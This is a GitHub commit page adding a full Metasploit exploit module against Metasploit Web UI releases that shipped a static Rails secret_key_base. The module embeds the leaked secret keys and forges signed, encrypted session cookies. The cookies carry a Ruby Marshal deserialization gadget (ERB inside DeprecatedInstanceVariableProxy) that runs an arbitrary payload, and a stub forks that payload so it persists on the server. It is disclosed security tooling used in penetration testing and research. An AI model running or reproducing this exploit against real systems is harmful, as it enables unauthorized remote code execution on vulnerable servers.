Skip to content

Commit a1ca27d

Browse files
committed
add module metasploit_static_secret_key_base
1 parent 8cc47a3 commit a1ca27d

File tree

1 file changed

+348
-0
lines changed

1 file changed

+348
-0
lines changed
Lines changed: 348 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,348 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
#Helper Classes copy/paste from Rails4
12+
class MessageVerifier
13+
14+
class InvalidSignature < StandardError; end
15+
16+
def initialize(secret, options = {})
17+
@secret = secret
18+
@digest = options[:digest] || 'SHA1'
19+
@serializer = options[:serializer] || Marshal
20+
end
21+
22+
def generate(value)
23+
data = ::Base64.strict_encode64(@serializer.dump(value))
24+
"#{data}--#{generate_digest(data)}"
25+
end
26+
27+
def generate_digest(data)
28+
require 'openssl' unless defined?(OpenSSL)
29+
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
30+
end
31+
32+
end
33+
34+
class MessageEncryptor
35+
36+
module NullSerializer #:nodoc:
37+
38+
def self.load(value)
39+
value
40+
end
41+
42+
def self.dump(value)
43+
value
44+
end
45+
46+
end
47+
48+
class InvalidMessage < StandardError; end
49+
50+
OpenSSLCipherError = OpenSSL::Cipher::CipherError
51+
52+
def initialize(secret, *signature_key_or_options)
53+
options = signature_key_or_options.extract_options!
54+
sign_secret = signature_key_or_options.first
55+
@secret = secret
56+
@sign_secret = sign_secret
57+
@cipher = options[:cipher] || 'aes-256-cbc'
58+
@verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
59+
# @serializer = options[:serializer] || Marshal
60+
end
61+
62+
def encrypt_and_sign(value)
63+
@verifier.generate(_encrypt(value))
64+
end
65+
66+
def _encrypt(value)
67+
cipher = new_cipher
68+
cipher.encrypt
69+
cipher.key = @secret
70+
# Rely on OpenSSL for the initialization vector
71+
iv = cipher.random_iv
72+
#encrypted_data = cipher.update(@serializer.dump(value))
73+
encrypted_data = cipher.update(value)
74+
encrypted_data << cipher.final
75+
[encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
76+
end
77+
78+
def new_cipher
79+
OpenSSL::Cipher::Cipher.new(@cipher)
80+
end
81+
82+
end
83+
84+
class KeyGenerator
85+
86+
def initialize(secret, options = {})
87+
@secret = secret
88+
@iterations = options[:iterations] || 2**16
89+
end
90+
91+
def generate_key(salt, key_size=64)
92+
OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
93+
end
94+
95+
end
96+
97+
include Msf::Exploit::Remote::HttpClient
98+
99+
def initialize(info = {})
100+
super(update_info(info,
101+
'Name' => 'Metasploit Web UI Static secret_key_base Value',
102+
'Description' => %q{
103+
This module exploits the Web UI for Metasploit Community, Express and
104+
Pro where one of a certain set of Weekly Releases have been applied.
105+
These Weekly Releases introduced a static secret_key_base value.
106+
Knowledge of the static secret_key_base value allows for
107+
deserialization of a crafted Ruby Object, achieving code execution.
108+
109+
This module is based on
110+
exploits/multi/http/rails_secret_deserialization
111+
},
112+
'Author' =>
113+
[
114+
'Justin Steven', # @justinsteven
115+
'joernchen of Phenoelit <joernchen[at]phenoelit.de>' # author of rails_secret_deserialization
116+
],
117+
'License' => MSF_LICENSE,
118+
'References' =>
119+
[
120+
['OVE', '20160904-0002'],
121+
['URL', 'https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401'],
122+
['URL', 'https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md']
123+
],
124+
'DisclosureDate' => 'Sep 15 2016',
125+
'Platform' => 'ruby',
126+
'Arch' => ARCH_RUBY,
127+
'Privileged' => false,
128+
'Targets' =>
129+
[
130+
['Metasploit 4.12.0-2016061501 to 4.12.0-2016083001',
131+
{
132+
'RAILSVERSION' => 4, # The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)
133+
'HTTP_METHOD' => 'GET', # The HTTP request method (GET, POST, PUT typically work)
134+
'COOKIE_NAME' => '_ui_session', # The name of the session cookie
135+
'DIGEST_NAME' => 'SHA1', # The digest type used to HMAC the session cookie
136+
'SALTENC' => 'encrypted cookie', # The encrypted cookie salt
137+
'SALTSIG' => 'signed encrypted cookie', # The signed encrypted cookie salt
138+
'SECRETS' => [
139+
'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7', # 4.12.0_2016061501
140+
'99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc', # 4.12.0_2016062101
141+
'446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde', # 4.12.0_2016072501
142+
'61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a', # 4.12.0_2016081001
143+
'23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32', # 4.12.0_2016081201
144+
'18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615', # 4.12.0_2016083001
145+
'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c' # unreleased build
146+
]
147+
}
148+
]
149+
],
150+
'DefaultTarget' => 0,
151+
'DefaultOptions' =>
152+
{
153+
'SSL' => true
154+
}
155+
))
156+
157+
register_options(
158+
[
159+
Opt::RPORT(3790),
160+
OptString.new('TARGETURI', [ true, 'The path to the Metasploit Web UI', "/"]),
161+
], self.class)
162+
end
163+
164+
165+
#
166+
# This stub ensures that the payload runs outside of the Rails process
167+
# Otherwise, the session can be killed on timeout
168+
#
169+
def detached_payload_stub(code)
170+
%Q^
171+
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
172+
if RUBY_PLATFORM =~ /mswin|mingw|win32/
173+
inp = IO.popen("ruby", "wb") rescue nil
174+
if inp
175+
inp.write(code)
176+
inp.close
177+
end
178+
else
179+
Kernel.fork do
180+
eval(code)
181+
end
182+
end
183+
{}
184+
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
185+
end
186+
187+
def check_secret(data, digest, secret)
188+
data = Rex::Text.uri_decode(data)
189+
if target['RAILSVERSION'] == 3
190+
sigkey = secret
191+
elsif target['RAILSVERSION'] == 4
192+
keygen = KeyGenerator.new(secret,{:iterations => 1000})
193+
sigkey = keygen.generate_key(target['SALTSIG'])
194+
end
195+
digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(target['DIGEST_NAME']), sigkey, data)
196+
end
197+
198+
def get_secret(data, digest)
199+
for secret in target['SECRETS']
200+
return secret if check_secret(data, digest, secret)
201+
end
202+
nil
203+
end
204+
205+
def rails_4(secret)
206+
keygen = KeyGenerator.new(secret,{:iterations => 1000})
207+
enckey = keygen.generate_key(target['SALTENC'])
208+
sigkey = keygen.generate_key(target['SALTSIG'])
209+
crypter = MessageEncryptor.new(enckey, sigkey)
210+
crypter.encrypt_and_sign(build_cookie)
211+
end
212+
213+
def rails_3(secret)
214+
# Sign it with the secret_token
215+
data = build_cookie
216+
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"), secret, data)
217+
marshal_payload = Rex::Text.uri_encode(data)
218+
"#{marshal_payload}--#{digest}"
219+
end
220+
221+
def build_cookie
222+
223+
# Embed the payload with the detached stub
224+
code =
225+
"eval('" +
226+
Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
227+
"'.unpack('m0').first)"
228+
229+
if target['RAILSVERSION'] == 4
230+
return "\x04\b" +
231+
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
232+
":\x0E@instanceo" +
233+
":\bERB\x07" +
234+
":\t@src"+ Marshal.dump(code)[2..-1] +
235+
":\x0c@lineno"+ "i\x00" +
236+
":\f@method:\vresult:" +
237+
"\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"
238+
end
239+
if target['RAILSVERSION'] == 3
240+
return Rex::Text.encode_base64 "\x04\x08" +
241+
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
242+
":\x0E@instance" +
243+
"o"+":\x08ERB"+"\x07" +
244+
":\x09@src" +
245+
Marshal.dump(code)[2..-1] +
246+
":\x0c@lineno"+ "i\x00" +
247+
":\x0C@method"+":\x0Bresult"
248+
end
249+
end
250+
251+
def check
252+
cookie_name = target['COOKIE_NAME']
253+
254+
vprint_status("Checking for cookie #{target['COOKIE_NAME']}")
255+
res = send_request_cgi({
256+
'uri' => datastore['TARGETURI'] || "/",
257+
'method' => target['HTTP_METHOD'],
258+
}, 25)
259+
260+
unless res
261+
return Exploit::CheckCode::Unknown # Target didn't respond
262+
end
263+
264+
if res.get_cookies.empty?
265+
return Exploit::CheckCode::Unknown # Target didn't send us any cookies. We can't continue.
266+
end
267+
268+
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
269+
270+
unless match
271+
return Exploit::CheckCode::Unknown # Target didn't send us a session cookie. We can't continue.
272+
end
273+
274+
if match[1] == target['COOKIE_NAME']
275+
vprint_status("Found cookie")
276+
else
277+
vprint_status("Adjusting cookie name to #{match[1]}")
278+
cookie_name = match[1]
279+
end
280+
281+
vprint_status("Searching for proper SECRET")
282+
283+
if get_secret(match[2], match[3])
284+
Exploit::CheckCode::Appears
285+
else
286+
Exploit::CheckCode::Safe
287+
end
288+
end
289+
290+
#
291+
# Send the actual request
292+
#
293+
def exploit
294+
cookie_name = target['COOKIE_NAME']
295+
296+
print_status("Checking for cookie #{target['COOKIE_NAME']}")
297+
298+
res = send_request_cgi({
299+
'uri' => datastore['TARGETURI'] || "/",
300+
'method' => target['HTTP_METHOD'],
301+
}, 25)
302+
303+
unless res
304+
fail_with(Failure::Unreachable, "Target didn't respond")
305+
end
306+
307+
if res.get_cookies.empty?
308+
fail_with(Failure::UnexpectedReply, "Target didn't send us any cookies. We can't continue.")
309+
end
310+
311+
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
312+
313+
unless match
314+
fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.")
315+
end
316+
317+
if match[1] == target['COOKIE_NAME']
318+
vprint_status("Found cookie")
319+
else
320+
print_status("Adjusting cookie name to #{match[1]}")
321+
cookie_name = match[1]
322+
end
323+
324+
print_status("Searching for proper SECRET")
325+
326+
secret = get_secret(match[2], match[3])
327+
328+
unless secret
329+
fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?")
330+
end
331+
332+
if target['RAILSVERSION'] == 3
333+
cookie = rails_3(secret)
334+
elsif target['RAILSVERSION'] == 4
335+
cookie = rails_4(secret)
336+
end
337+
338+
print_status "Sending cookie #{cookie_name}"
339+
res = send_request_cgi({
340+
'uri' => datastore['TARGETURI'] || "/",
341+
'method' => target['HTTP_METHOD'],
342+
'headers' => {'Cookie' => cookie_name+"="+ cookie},
343+
}, 25)
344+
345+
handler
346+
end
347+
348+
end

0 commit comments

Comments
 (0)